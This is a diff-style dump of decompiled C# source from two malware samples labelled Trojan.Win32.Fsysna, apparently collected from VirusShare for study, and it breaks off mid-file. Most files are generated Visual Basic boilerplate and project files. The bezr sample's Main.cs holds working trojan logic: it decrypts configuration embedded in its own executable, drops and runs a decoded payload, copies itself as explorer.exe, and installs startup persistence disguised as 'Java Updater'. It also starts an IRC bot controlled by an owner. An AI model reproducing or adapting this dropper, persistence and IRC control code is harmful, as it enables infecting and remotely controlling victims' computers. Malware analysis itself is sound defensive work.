@@ -0,0 +1,24 @@
+// Decompiled with JetBrains decompiler
+// Type: svchost.My.MyComputer
+// Assembly: svchost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 6DDBD699-C351-46D2-B577-5A47AADA2B4A
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Fsysna.aosz-f36b3708132e2fa5f4ec88bd5083bea5f9eec00306e2cfb2271ed154a4173bfb.exe
+
+using Microsoft.VisualBasic.Devices;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+
+namespace svchost.My
+{
+  [GeneratedCode("MyTemplate", "10.0.0.0")]
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  internal class MyComputer : Computer
+  {
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    [DebuggerHidden]
+    public MyComputer()
+    {
+    }
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.aosz-f36b3708132e2fa5f4ec88bd5083bea5f9eec00306e2cfb2271ed154a4173bfb/My/MyProject.cs

@@ -0,0 +1,212 @@
+// Decompiled with JetBrains decompiler
+// Type: svchost.My.MyProject
+// Assembly: svchost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 6DDBD699-C351-46D2-B577-5A47AADA2B4A
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Fsysna.aosz-f36b3708132e2fa5f4ec88bd5083bea5f9eec00306e2cfb2271ed154a4173bfb.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.ApplicationServices;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.CodeDom.Compiler;
+using System.Collections;
+using System.ComponentModel;
+using System.ComponentModel.Design;
+using System.Diagnostics;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+using System.Windows.Forms;
+
+namespace svchost.My
+{
+  [GeneratedCode("MyTemplate", "10.0.0.0")]
+  [HideModuleName]
+  [StandardModule]
+  internal sealed class MyProject
+  {
+    private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
+    private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
+    private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
+    private static MyProject.ThreadSafeObjectProvider<MyProject.MyForms> m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyForms>();
+    private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
+
+    [DebuggerNonUserCode]
+    static MyProject()
+    {
+    }
+
+    [HelpKeyword("My.Computer")]
+    internal static MyComputer Computer
+    {
+      [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.Application")]
+    internal static MyApplication Application
+    {
+      [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.User")]
+    internal static User User
+    {
+      [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.Forms")]
+    internal static MyProject.MyForms Forms
+    {
+      [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.WebServices")]
+    internal static MyProject.MyWebServices WebServices
+    {
+      [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
+    }
+
+    [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    internal sealed class MyForms
+    {
+      public Form1 m_Form1;
+      [ThreadStatic]
+      private static Hashtable m_FormBeingCreated;
+
+      public Form1 Form1
+      {
+        [DebuggerNonUserCode] get
+        {
+          this.m_Form1 = MyProject.MyForms.Create__Instance__<Form1>(this.m_Form1);
+          return this.m_Form1;
+        }
+        [DebuggerNonUserCode] set
+        {
+          if (value == this.m_Form1)
+            return;
+          if (value != null)
+            throw new ArgumentException("Property can only be set to Nothing");
+          this.Dispose__Instance__<Form1>(ref this.m_Form1);
+        }
+      }
+
+      [DebuggerHidden]
+      private static T Create__Instance__<T>(T Instance) where T : Form, new()
+      {
+        if ((object) Instance != null && !Instance.IsDisposed)
+          return Instance;
+        if (MyProject.MyForms.m_FormBeingCreated != null)
+        {
+          if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T)))
+            throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate"));
+        }
+        else
+          MyProject.MyForms.m_FormBeingCreated = new Hashtable();
+        MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null);
+        try
+        {
+          return new T();
+        }
+        catch (TargetInvocationException ex) when (
+        {
+          // ISSUE: unable to correctly present filter
+          ProjectData.SetProjectError((Exception) ex);
+          if (ex.InnerException != null)
+          {
+            SuccessfulFiltering;
+          }
+          else
+            throw;
+        }
+        )
+        {
+          throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException);
+        }
+        finally
+        {
+          MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T));
+        }
+      }
+
+      [DebuggerHidden]
+      private void Dispose__Instance__<T>(ref T instance) where T : Form
+      {
+        instance.Dispose();
+        instance = default (T);
+      }
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public MyForms()
+      {
+      }
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override int GetHashCode() => base.GetHashCode();
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      internal new System.Type GetType() => typeof (MyProject.MyForms);
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override string ToString() => base.ToString();
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
+    internal sealed class MyWebServices
+    {
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override int GetHashCode() => base.GetHashCode();
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      internal new System.Type GetType() => typeof (MyProject.MyWebServices);
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override string ToString() => base.ToString();
+
+      [DebuggerHidden]
+      private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
+
+      [DebuggerHidden]
+      private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public MyWebServices()
+      {
+      }
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    [ComVisible(false)]
+    internal sealed class ThreadSafeObjectProvider<T> where T : new()
+    {
+      internal T GetInstance
+      {
+        [DebuggerHidden] get
+        {
+          if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
+            MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
+          return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
+        }
+      }
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public ThreadSafeObjectProvider()
+      {
+      }
+    }
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.aosz-f36b3708132e2fa5f4ec88bd5083bea5f9eec00306e2cfb2271ed154a4173bfb/My/MySettings.cs

@@ -0,0 +1,76 @@
+// Decompiled with JetBrains decompiler
+// Type: svchost.My.MySettings
+// Assembly: svchost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 6DDBD699-C351-46D2-B577-5A47AADA2B4A
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Fsysna.aosz-f36b3708132e2fa5f4ec88bd5083bea5f9eec00306e2cfb2271ed154a4173bfb.exe
+
+using Microsoft.VisualBasic.ApplicationServices;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Configuration;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+using System.Threading;
+
+namespace svchost.My
+{
+  [EditorBrowsable(EditorBrowsableState.Advanced)]
+  [CompilerGenerated]
+  [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")]
+  internal sealed class MySettings : ApplicationSettingsBase
+  {
+    private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
+    private static bool addedHandler;
+    private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object());
+
+    [DebuggerNonUserCode]
+    public MySettings()
+    {
+    }
+
+    [DebuggerNonUserCode]
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    private static void AutoSaveSettings(object sender, EventArgs e)
+    {
+      if (!MyProject.Application.SaveMySettingsOnExit)
+        return;
+      MySettingsProperty.Settings.Save();
+    }
+
+    public static MySettings Default
+    {
+      get
+      {
+        if (!MySettings.addedHandler)
+        {
+          object handlerLockObject = MySettings.addedHandlerLockObject;
+          ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject);
+          bool lockTaken = false;
+          try
+          {
+            Monitor.Enter(handlerLockObject, ref lockTaken);
+            if (!MySettings.addedHandler)
+            {
+              MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) =>
+              {
+                if (!MyProject.Application.SaveMySettingsOnExit)
+                  return;
+                MySettingsProperty.Settings.Save();
+              });
+              MySettings.addedHandler = true;
+            }
+          }
+          finally
+          {
+            if (lockTaken)
+              Monitor.Exit(handlerLockObject);
+          }
+        }
+        MySettings defaultInstance = MySettings.defaultInstance;
+        return defaultInstance;
+      }
+    }
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.aosz-f36b3708132e2fa5f4ec88bd5083bea5f9eec00306e2cfb2271ed154a4173bfb/My/MySettingsProperty.cs

@@ -0,0 +1,31 @@
+// Decompiled with JetBrains decompiler
+// Type: svchost.My.MySettingsProperty
+// Assembly: svchost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 6DDBD699-C351-46D2-B577-5A47AADA2B4A
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Fsysna.aosz-f36b3708132e2fa5f4ec88bd5083bea5f9eec00306e2cfb2271ed154a4173bfb.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System.ComponentModel.Design;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+
+namespace svchost.My
+{
+  [StandardModule]
+  [CompilerGenerated]
+  [DebuggerNonUserCode]
+  [HideModuleName]
+  internal sealed class MySettingsProperty
+  {
+    [HelpKeyword("My.Settings")]
+    internal static MySettings Settings
+    {
+      get
+      {
+        MySettings settings = MySettings.Default;
+        return settings;
+      }
+    }
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.aosz-f36b3708132e2fa5f4ec88bd5083bea5f9eec00306e2cfb2271ed154a4173bfb/My/Resources/Resources.cs

@@ -0,0 +1,46 @@
+// Decompiled with JetBrains decompiler
+// Type: svchost.My.Resources.Resources
+// Assembly: svchost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 6DDBD699-C351-46D2-B577-5A47AADA2B4A
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Fsysna.aosz-f36b3708132e2fa5f4ec88bd5083bea5f9eec00306e2cfb2271ed154a4173bfb.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Globalization;
+using System.Resources;
+using System.Runtime.CompilerServices;
+
+namespace svchost.My.Resources
+{
+  [StandardModule]
+  [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
+  [HideModuleName]
+  [CompilerGenerated]
+  [DebuggerNonUserCode]
+  internal sealed class Resources
+  {
+    private static ResourceManager resourceMan;
+    private static CultureInfo resourceCulture;
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    internal static ResourceManager ResourceManager
+    {
+      get
+      {
+        if (object.ReferenceEquals((object) svchost.My.Resources.Resources.resourceMan, (object) null))
+          svchost.My.Resources.Resources.resourceMan = new ResourceManager("svchost.Resources", typeof (svchost.My.Resources.Resources).Assembly);
+        return svchost.My.Resources.Resources.resourceMan;
+      }
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    internal static CultureInfo Culture
+    {
+      get => svchost.My.Resources.Resources.resourceCulture;
+      set => svchost.My.Resources.Resources.resourceCulture = value;
+    }
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.aosz-f36b3708132e2fa5f4ec88bd5083bea5f9eec00306e2cfb2271ed154a4173bfb/Resources.resx

@@ -0,0 +1,120 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+</root>

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.aosz-f36b3708132e2fa5f4ec88bd5083bea5f9eec00306e2cfb2271ed154a4173bfb/Trojan.Win32.Fsysna.aosz.csproj

@@ -0,0 +1,59 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Fsysna.aosz-f36b3708132e2fa5f4ec88bd5083bea5f9eec00306e2cfb2271ed154a4173bfb.exe-->
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{40B5B461-1469-46FD-BB06-03FCE1DFA1C8}</ProjectGuid>
+    <OutputType>WinExe</OutputType>
+    <AssemblyName>svchost</AssemblyName>
+    <TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
+    <TargetFrameworkProfile>Client</TargetFrameworkProfile>
+    <ApplicationVersion>1.0.0.0</ApplicationVersion>
+    <FileAlignment>512</FileAlignment>
+    <RootNamespace>svchost</RootNamespace>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="Microsoft.VisualBasic" />
+    <Reference Include="System" />
+    <Reference Include="System.Core" />
+    <Reference Include="System.Drawing" />
+    <Reference Include="System.Windows.Forms" />
+    <Reference Include="System.Xml.Linq" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="Form1.cs" />
+    <Compile Include="My\MyApplication.cs" />
+    <Compile Include="My\MyComputer.cs" />
+    <Compile Include="My\MyProject.cs" />
+    <Compile Include="My\InternalXmlHelper.cs" />
+    <Compile Include="My\MySettings.cs" />
+    <Compile Include="My\MySettingsProperty.cs" />
+    <Compile Include="My\Resources\Resources.cs" />
+    <Compile Include="AssemblyInfo.cs" />
+  </ItemGroup>
+  <ItemGroup>
+    <EmbeddedResource Include="Form1.resx" />
+    <EmbeddedResource Include="Resources.resx" />
+  </ItemGroup>
+  <Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
+</Project>

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.aosz-f36b3708132e2fa5f4ec88bd5083bea5f9eec00306e2cfb2271ed154a4173bfb/Trojan.Win32.Fsysna.aosz.sln

@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 11.00
+# Visual Studio 2010
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "svchost", "Trojan.Win32.Fsysna.aosz-f36b3708132e2fa5f4ec88bd5083bea5f9eec00306e2cfb2271ed154a4173bfb.csproj", "{40B5B461-1469-46FD-BB06-03FCE1DFA1C8}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{40B5B461-1469-46FD-BB06-03FCE1DFA1C8}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{40B5B461-1469-46FD-BB06-03FCE1DFA1C8}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{40B5B461-1469-46FD-BB06-03FCE1DFA1C8}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{40B5B461-1469-46FD-BB06-03FCE1DFA1C8}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01/AssemblyInfo.cs

@@ -0,0 +1,13 @@
+using System.Reflection;
+using System.Runtime.InteropServices;
+
+[assembly: AssemblyCopyright("Copyright © Barret Software 2011")]
+[assembly: AssemblyDescription("")]
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyTitle("Refx")]
+[assembly: ComVisible(false)]
+[assembly: AssemblyProduct("Refx")]
+[assembly: AssemblyCompany("Barret Software")]
+[assembly: AssemblyFileVersion("1.0.0.0")]
+[assembly: Guid("54a42427-8068-4f12-aaa5-9471c17ad0fa")]
+[assembly: AssemblyVersion("1.0.0.0")]

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01/Main.cs

@@ -0,0 +1,44 @@
+// Decompiled with JetBrains decompiler
+// Type: Refx.Main
+// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 5DD4C44F-C748-4813-B398-D3DE520CF41A
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+
+namespace Refx
+{
+  [StandardModule]
+  internal sealed class Main
+  {
+    private static clsIRC ClsIRC = new clsIRC();
+
+    [STAThread]
+    [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
+    public static void Main()
+    {
+      string[] strArray = Strings.Split(modRC4.rc4(modEOF.ReadEOFData(ref modEOF.SELF_EXE), "02112011"), "!@!");
+      string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
+      if (Information.UBound((Array) strArray) <= 4)
+        return;
+      if (Operators.CompareString(Strings.UCase(Strings.Right(modEOF.SELF_EXE, 12)), "EXPLORER.EXE", false) == 0)
+      {
+        modAuth.OWNER = strArray[5];
+        Refx.Main.ClsIRC.SetIRCConfig(strArray[1], Conversions.ToInteger(strArray[2]), strArray[3], strArray[4]);
+        Refx.Main.ClsIRC.StartIRC();
+      }
+      else
+      {
+        modBase64.DecodeData(strArray[6], "C:\\Run.exe");
+        Process.Start("C:\\Run.exe");
+        FileSystem.FileCopy(modEOF.SELF_EXE, folderPath + "\\explorer.exe");
+        modRegister.StartUpInstall("Java Updater", folderPath + "\\explorer.exe", true);
+        Process.Start(folderPath + "\\explorer.exe");
+      }
+    }
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01/My/MyApplication.cs

@@ -0,0 +1,23 @@
+// Decompiled with JetBrains decompiler
+// Type: Refx.My.MyApplication
+// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 5DD4C44F-C748-4813-B398-D3DE520CF41A
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01.exe
+
+using Microsoft.VisualBasic.ApplicationServices;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+
+namespace Refx.My
+{
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  internal class MyApplication : ConsoleApplicationBase
+  {
+    [DebuggerNonUserCode]
+    public MyApplication()
+    {
+    }
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01/My/MyComputer.cs

@@ -0,0 +1,24 @@
+// Decompiled with JetBrains decompiler
+// Type: Refx.My.MyComputer
+// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 5DD4C44F-C748-4813-B398-D3DE520CF41A
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01.exe
+
+using Microsoft.VisualBasic.Devices;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+
+namespace Refx.My
+{
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  internal class MyComputer : Computer
+  {
+    [DebuggerHidden]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    public MyComputer()
+    {
+    }
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01/My/MyProject.cs

@@ -0,0 +1,194 @@
+// Decompiled with JetBrains decompiler
+// Type: Refx.My.MyProject
+// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 5DD4C44F-C748-4813-B398-D3DE520CF41A
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.ApplicationServices;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.CodeDom.Compiler;
+using System.Collections;
+using System.ComponentModel;
+using System.ComponentModel.Design;
+using System.Diagnostics;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+using System.Windows.Forms;
+
+namespace Refx.My
+{
+  [HideModuleName]
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  [StandardModule]
+  internal sealed class MyProject
+  {
+    private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
+    private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
+    private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
+    private static MyProject.ThreadSafeObjectProvider<MyProject.MyForms> m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyForms>();
+    private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
+
+    [DebuggerNonUserCode]
+    static MyProject()
+    {
+    }
+
+    [HelpKeyword("My.Computer")]
